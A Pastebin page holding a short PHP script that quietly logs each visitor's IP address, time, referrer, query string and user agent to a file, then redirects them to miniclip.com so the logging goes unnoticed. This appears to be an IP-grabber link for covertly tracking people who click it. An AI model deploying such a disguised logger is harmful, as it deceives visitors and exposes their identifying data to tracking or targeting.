Guest User

Version 3

a guest
Apr 14th, 2012
504
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.82 KB | None | 0 0
  1. <?php
  2. ob_start();
  3.  
  4. //ASSIGN VARIABLES TO USER INFO
  5. $time = date("M j G:i:s Y");
  6. $ip = getenv('REMOTE_ADDR');
  7. $userAgent = getenv('HTTP_USER_AGENT');
  8. $referrer = getenv('HTTP_REFERER');
  9. $query = getenv('QUERY_STRING');
  10.  
  11. //COMBINE VARS INTO OUR LOG ENTRY
  12. $msg = "IP: " . $ip . " TIME: " . $time . " REFERRER: " . $referrer . " SEARCHSTRING: " . $query . " USERAGENT: " . $userAgent;
  13.  
  14. //CALL OUR LOG FUNCTION
  15. writeToLogFile($msg);
  16.  
  17. function writeToLogFile($msg)
  18. {
  19.      $logfile = "log.txt";
  20.      $saveLocation=$logfile;
  21.      if (!$handle = @fopen($saveLocation, "a"))
  22.      {
  23.           exit;
  24.      }
  25.      else
  26.      {
  27.           if(@fwrite($handle,"$msg\r\n")===FALSE)
  28.           {
  29.                exit;
  30.           }
  31.  
  32.           @fclose($handle);
  33.      }
  34. }
  35. header("Location: http://miniclip.com");
  36. ob_end_clean();
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment